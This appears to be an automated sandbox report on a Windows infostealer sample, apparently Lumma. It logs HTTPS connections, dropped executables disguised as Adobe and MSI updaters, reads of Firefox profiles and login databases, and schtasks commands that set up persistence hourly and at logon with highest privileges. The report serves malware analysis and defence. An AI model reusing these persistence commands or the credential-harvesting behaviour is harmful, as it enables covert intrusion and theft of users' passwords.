Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 2q45IEa3Ee.exe, 00000000.00000003.1820881268.0000000005FEA000.00000004.00000020.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000005FA7000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp, Firefox_fqs92o4p.default-release.txt.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000005FA7000.00000004.00000020.00020000.00000000.sdmp, 3b6N2Xdh3CYwplaces.sqlite.0.dr, D87fZN3R3jFeplaces.sqlite.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 2q45IEa3Ee.exe, 00000000.00000002.1877753884.00000000017E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/tataX

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.4:49781 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

7_2_0042DDE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

7_2_0042DDE0

System Summary

.NET source code contains very large array initializations

Source: lumma1504[1].exe.0.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200
Source: oRkIPIEeryat7GMgjkBr.exe.0.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200
Source: AdobeUpdaterV202.exe.0.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200
Source: MSIUpdaterV202.exe.0.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 307200

PE file contains section with special chars

Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:
Source: 2q45IEa3Ee.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C9A8BD	0_2_00C9A8BD
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CBB010	0_2_00CBB010
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CBA790	0_2_00CBA790
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC8DC	0_2_00FDC8DC
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC0D0	0_2_00FDC0D0
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00D5C0A0	0_2_00D5C0A0
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C8A040	0_2_00C8A040
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CAF050	0_2_00CAF050
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C971F0	0_2_00C971F0
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDC1BF	0_2_00FDC1BF
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDD99D	0_2_00FDD99D
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDBA91	0_2_00FDBA91
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C91A30	0_2_00C91A30
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C9ABFF	0_2_00C9ABFF
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CA8314	0_2_00CA8314
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE4CA4	0_2_00FE4CA4
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00D5F450	0_2_00D5F450
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CB3450	0_2_00CB3450
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE45A2	0_2_00FE45A2
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE3D89	0_2_00FE3D89
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00C80DB0	0_2_00C80DB0
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE056D	0_2_00FE056D
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FE3D1D	0_2_00FE3D1D
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDCEA0	0_2_00FDCEA0
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00CACEA1	0_2_00CACEA1
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Code function: 0_2_00FDB75B	0_2_00FDB75B
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Code function: 6_2_01160A31	6_2_01160A31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00425183	7_2_00425183
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00421670	7_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00415B57	7_2_00415B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404C40	7_2_00404C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00421F80	7_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00410060	7_2_00410060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401000	7_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041D128	7_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0043B130	7_2_0043B130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00408250	7_2_00408250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00404260	7_2_00404260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00403370	7_2_00403370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0043B470	7_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00436480	7_2_00436480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00406610	7_2_00406610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_004216CE	7_2_004216CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00401740	7_2_00401740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00403770	7_2_00403770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00405890	7_2_00405890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00406C20	7_2_00406C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_0041DD72	7_2_0041DD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00426E67	7_2_00426E67
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00426F29	7_2_00426F29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 7_2_00426FA0	7_2_00426FA0
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Code function: 8_2_00C60A31	8_2_00C60A31
Source: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe	Code function: 9_2_00D10A31	9_2_00D10A31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00729700	11_2_00729700
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Code function: 14_2_02A60A31	14_2_02A60A31
Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Code function: 16_2_01590A31	16_2_01590A31

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\lumma1504[1].exe F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00408C90 appears 42 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004092E0 appears 160 times

Source: 2q45IEa3Ee.exe

Static PE information: invalid certificate

Source: 2q45IEa3Ee.exe	Static PE information: Resource name: SETUPSERVICE_WIN7 type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2q45IEa3Ee.exe	Static PE information: Resource name: SETUPSERVICE_WIN8 type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: 2q45IEa3Ee.exe	Binary or memory string: OriginalFilename vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000002.1878839470.0000000006002000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameQuestion.exeJ vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000000.1620206673.0000000000E2D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSetupAfterRebootService.exeP vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000003.1876269087.00000000056E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSetupAfterRebootService.exeP vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000003.1876269087.00000000056E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000000.1620206673.0000000000E38000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSetupAfterRebootService.exeP vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000000.1620206673.0000000000E38000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSetupAfterRebootService.exeP vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe, 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe	Binary or memory string: OriginalFilenameSetupAfterRebootService.exeP vs 2q45IEa3Ee.exe
Source: 2q45IEa3Ee.exe	Binary or memory string: OriginalFilenameHxInstallerBackground.dll@ vs 2q45IEa3Ee.exe

Source: 2q45IEa3Ee.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: lumma1504[1].exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: oRkIPIEeryat7GMgjkBr.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: AdobeUpdaterV202.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: MSIUpdaterV202.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2q45IEa3Ee.exe	Static PE information: Section: ZLIB complexity 0.9998214068579766
Source: 2q45IEa3Ee.exe	Static PE information: Section: ZLIB complexity 0.9965173192771084
Source: 2q45IEa3Ee.exe	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@23/30@3/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_0042A936 CoCreateInstance,

7_2_0042A936

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite

Jump to behavior

Source: C:\Users\user\AppData\Local\AdobeUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\AdobeUpdaterV202.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3052:120:WilError_03

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File created: C:\Users\user\AppData\Local\Temp\trixyBzNJzauM1END

Jump to behavior

Source: 2q45IEa3Ee.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2q45IEa3Ee.exe, 2q45IEa3Ee.exe, 00000000.00000003.1627633755.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 2q45IEa3Ee.exe, 00000000.00000003.1627633755.0000000001570000.00000004.00001000.00020000.00000000.sdmp, 2q45IEa3Ee.exe, 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: 2q45IEa3Ee.exe, 00000000.00000003.1811612230.0000000005FA8000.00000004.00000020.00020000.00000000.sdmp, hFeN_nRcyMkILogin Data.0.dr, LBC6lg2YJ3HXLogin Data For Account.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 2q45IEa3Ee.exe	Virustotal: Detection: 23%
Source: 2q45IEa3Ee.exe	ReversingLabs: Detection: 28%

Source: 2q45IEa3Ee.exe

String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\2q45IEa3Ee.exe

File read: C:\Users\user\Desktop\2q45IEa3Ee.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\2q45IEa3Ee.exe "C:\Users\user\Desktop\2q45IEa3Ee.exe"
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe" /tn "MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\2q45IEa3Ee.exe	Process created: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe "C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe"
Source: C:\Users\user\AppData\Local\Temp\spanBzNJzauM1END\oRkIPIEeryat7GMgjkBr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe
